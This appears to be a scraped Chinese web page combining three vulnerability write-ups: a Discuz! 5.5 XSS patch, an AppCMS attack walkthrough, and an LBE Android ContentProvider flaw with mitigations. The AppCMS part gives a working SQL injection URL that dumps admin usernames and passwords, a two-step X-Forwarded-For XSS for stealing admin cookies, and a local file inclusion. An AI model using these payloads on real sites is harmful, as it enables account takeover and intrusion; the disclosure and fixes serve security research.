61阅读

xss漏洞解决方案-Discuz论坛程序出现漏洞与解决方法

发布时间:2017-10-10 所属栏目:曹刿论战原文及注释

一 : Discuz论坛程序出现漏洞与解决方法

  今天不少论坛被爆出现漏洞问题:Discuz! 5.5 跨站问题修补 [ For 0324 ]

  由于论坛在处理 Discuz! 代码时,没有严格过滤用户输入内容,可导致部分用户利用这一 BUG 发布恶意代码。

  观看这种帖子的时候,恶意代码会对论坛里使用 IE 浏览器的会员造成威胁,对 FireFox 以及其他浏览器用户无效。

  为避免您网站的会员受到此类恶意代码的骚扰,请您根据以下方法进行修正:

  修补方法A :手工修改

  打开 include/discuzcode.func.php

  找到
  复制内容到剪贴板
  代码:

以下为引用的内容:
"/[align=([^[<]+?)]/i",
"/[float=([^[<]+?)]/i"

  修改为
  复制内容到剪贴板
  代码:

以下为引用的内容:
"/[align=(left|center|right)]/i",
"/[float=(left|right)]/i"

  问题修补完成。

  另外一种是利用 所见即所得的形式 增加跳转代码的行为防止的方法

  可以在读取数据进行dz转码时可以过滤掉“expression”  今天不少论坛被爆出现漏洞问题:Discuz! 5.5 跨站问题修补 [ For 0324 ]

  

二 : AppCMS注入及评论xss漏洞

0x02 SQL注入原理(www.61k.com)

下载最新版本appcms_1.3.890。
查看index.php,有一段似乎是限制了搜索词的代码:
if (!preg_match("/^[\x{4e00}-\x{9fa5}\w {0}]+$/u", $_GET[&#39;q&#39;])) {
die(&#39;搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="&#39; . SITE_PATH . &#39;">回到首页</a>&#39;);
}
所以当我们在首页搜索含有&rsquo;的关键词时会有提示:

appcms AppCMS注入及评论xss漏洞

但我们往前看,却发现了一段输出ajax的代码,这时候并没有过滤……所以注入由此产生:

//ajax请求联想关键字2.    if (trim($_GET[&#39;q&#39;]) != &#39;&#39; && !isset($_GET[&#39;tpl&#39;])) {3.   $str = &#39;&#39;;4.   $sql = "SELECT app_id,app_title,app_down FROM " . TB_PREFIX . "app_list WHERE app_title LIKE &#39;%" . trim($_GET[&#39;q&#39;]) . "%&#39; LIMIT 15";5.   $app_list = $dbm ->query($sql);6.   if (count($app_list[&#39;list&#39;]) > 0) {7.   foreach ($app_list[&#39;list&#39;] as $k => $v){8.   $app_list[&#39;list&#39;][$k][&#39;app_title&#39;] = helper :: utf8_substr($v[&#39;app_title&#39;], 0, 20);9.   }10.   echo json_encode($app_list[&#39;list&#39;]);11.   exit;12.   } else {13.   exit;14.   }15.   }


当$_GET[&lsquo;q&rsquo;]非空且$_GET[&lsquo;tpl&rsquo;]为空时进入这个IF,因为刚才我们搜索的时候参数是这样:?tpl=search&q=&#39;sd,所以才没有进入这个if。
我们看到这个if语句中,直接把trim($_GET[&lsquo;q&rsquo;])带入了select语句,造成了注入。
给出利用exp:

index.php?q=xxoo&#39;union select 1,uname,upass from appcms_admin_list where uid like &#39;


不过爆出了管理员密码也有点鸡肋,因为这个cms强制让用户修改后台地址。所以,我们需要想点方法弄到后台地址。于是,下面这个xss由此产生。


<span: 700;"="">0x03 XSS原理

comment.php 获得IP地址,并插入数据库:
/**2. * 获取客户端IP地址3. */4. public static function getip() {5. $onlineip = &#39;&#39;;6. if (getenv(&#39;HTTP_CLIENT_IP&#39;) && strcasecmp(getenv(&#39;HTTP_CLIENT_IP&#39;), &#39;unknown&#39;)) {7. $onlineip = getenv(&#39;HTTP_CLIENT_IP&#39;);8. } elseif (getenv(&#39;HTTP_X_FORWARDED_FOR&#39;) && strcasecmp(getenv(&#39;HTTP_X_FORWARDED_FOR&#39;), &#39;unknown&#39;)) {9. $onlineip = getenv(&#39;HTTP_X_FORWARDED_FOR&#39;);10. } elseif (getenv(&#39;REMOTE_ADDR&#39;) && strcasecmp(getenv(&#39;REMOTE_ADDR&#39;), &#39;unknown&#39;)) {11. $onlineip = getenv(&#39;REMOTE_ADDR&#39;);12. } elseif (isset($_SERVER[&#39;REMOTE_ADDR&#39;]) && $_SERVER[&#39;REMOTE_ADDR&#39;] && strcasecmp($_SERVER[&#39;REMOTE_ADDR&#39;], &#39;unknown&#39;)) {13. $onlineip = $_SERVER[&#39;REMOTE_ADDR&#39;];14. }15. return $onlineip;16.  }



当HTTP_X_FORWARDED_FOR存在时获取的IP就是它,但是HTTP_X_FORWARDED_FOR是可以伪造的,所以造成了XSS代码的注入。
但在数据库中,ip这个字段限制了字数,只有20字,所以绕过成为了难点。

所以我们来构造。
首先留一条言,内容是我们要写的xss代码,我这里就简单的弹出窗口:

appcms AppCMS注入及评论xss漏洞

发表的时候抓包,修改X-FORWARDED-FOR,写半个闭合的script:

appcms AppCMS注入及评论xss漏洞

然后刷新页面后再次写一条留言,内容就无所谓了,仍然是抓包,写前半个script标签:

appcms AppCMS注入及评论xss漏洞

这时任务就算完成了,实战的话就坐等接收cookie和后台地址了。

我们可以来到管理员页面 - 查看评论,可以看到窗口已经弹了:

我们看看源码:

appcms AppCMS注入及评论xss漏洞

看懂了吗,两次插入的内容正好闭合了,中间用注释符注释掉,然后第一次插入的评论内容就是我们的javascript代码,而这个代码的两遍用注释符再闭合掉就可以了。

我们运用两次留言成功构造了一个xss,绕过了最大长度为20的限制。

0x04 LFI
除了上面两个已经成功的漏洞以外,index.php里还存在一个本地文件包含,不过需要进行截断

if (substr($tpl, strlen($tpl)-4, 4) == &#39;.php&#39;) {2. $tmp_file = &#39;/templates/&#39; . $from_mobile . &#39;/&#39; . $tpl;3. } else {4. $tmp_file = &#39;/templates/&#39; . $from_mobile . &#39;/&#39; . $tpl . &#39;.php&#39;;5. } 6. if (!file_exists(dirname(__FILE__) . $tmp_file)) die(&#39;模板页面不存在&#39; . $tmp_file);7. require(dirname(__FILE__) . $tmp_file);

扩展:xss注入漏洞 / phpcms注入漏洞 / phpcms v9 注入漏洞



判断后缀是不是php,如果不是就加上.php,然后判断文件是否存在,进行包含。并没有任何过滤。其中最初的这个$tpl就是$_GET[&#39;tpl&#39;]。
官网测试:
appcms AppCMS注入及评论xss漏洞
成功包含了数据库配置文件,因为重复包含,所以出错了。
我试过截断包含一些日志文件或其他文件( 可惜前台不能上传 ),但不知道为什么都没有成功,如果大家有什么好思路也可以跟我说说。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
大礼包到此结束,希望大家能学到知识,而不是又得到了很多服务器

扩展:xss注入漏洞 / phpcms注入漏洞 / phpcms v9 注入漏洞

三 : LBE任意号码拦截漏洞及解决方案

LBE将号码的黑白名单以及关键字拦截的数据库以ContentProvider方式导出给第三方程序使用,而没有对调用方进行验证,导致拦截功能被滥用。

1、 通过AndroidMainfest.xml将"com.lbe.security.phone"显式导出,并且没有添加任何权限限制。

<provider android:authorities="com.lbe.security.phone" android:enabled="true" android:exported="true" android:name="com.lbe.security.service.phone.provider.TelephonyProvider" android:process=":service" />

2、 导出的ContentProvider提供一些URI访问。

content://com.lbe.security.phone/blacklist (拦截黑名单管理)

content://com.lbe.security.phone/whitelist (白名单管理)

content://com.lbe.security.phone/keyword (拦截的关键词)

content://com.lbe.security.phone/marker (未知号码标记)

content://com.lbe.security.phone/baselist (基础的数据管理,用来存储规则)

content://com.lbe.security.phone/blocklog (拦截日志)

sms

mms

call

content://com.lbe.security.phone/ipwhitelist

content://com.lbe.security.phone/yellow_page_cache

content://com.lbe.security.phone/user_permit_number

3、 在LBE开启骚扰拦截功能的情况下,第三方程序可以通过上述的URI对手机的通讯,短信进行管理控制。



漏洞威胁

1、黑名单的管理,使第三方程序在不需要任何权限的情况下对电话或者短信进行拦截,白名单则运行任何电话打入或者短信接收,使原有的拦截功能起不到实质的作用。

2、与现有恶意代码比较,现有支付类木马都需要通过监听短信来获取支付验证码,这样就要求恶意代码具有短信的相关权限,很容易被主动防御类软件拦截;但是lbe提供的功能则可以使恶意代码在不需要任何权限的情况下,获取支付验证码。

3、短信控制类木马,同样在不需要任何权限的情况下,通过关键词过滤功能对指令短信进行过滤,达到比较隐秘的控制功能。

1) 修改黑名单库,如图1,apply_to是拦截类型(短信,电话)

com.lbe.security LBE任意号码拦截漏洞及解决方案

图2 黑名单插入成功

2) 获取拦截记录,读取拦截到的信息,图3中的”lbe blacklist test ”为发送到拦截号码的短信内容

com.lbe.security LBE任意号码拦截漏洞及解决方案

图3 获取拦截记录



3) 清除拦截log,抹除痕迹

4) 请他数据库内容的验证方式与黑名单一样

5) 因为数据库采用明文存储,如果系统已经root,拦截功能也会很容易被攻破

解决方案:(www.61k.com)

1、 如果功能不需要提供给第三方程序使用,则不要导出

2、 敏感操作需要添加对调用方的验证

3、 对敏感操作进行细粒度的权限控制

扩展:lbe安全大师骚扰拦截 / lbe骚扰拦截 / lbe拦截电话

本文标题:xss漏洞解决方案-Discuz论坛程序出现漏洞与解决方法
本文地址: http://www.61k.com/1062922.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1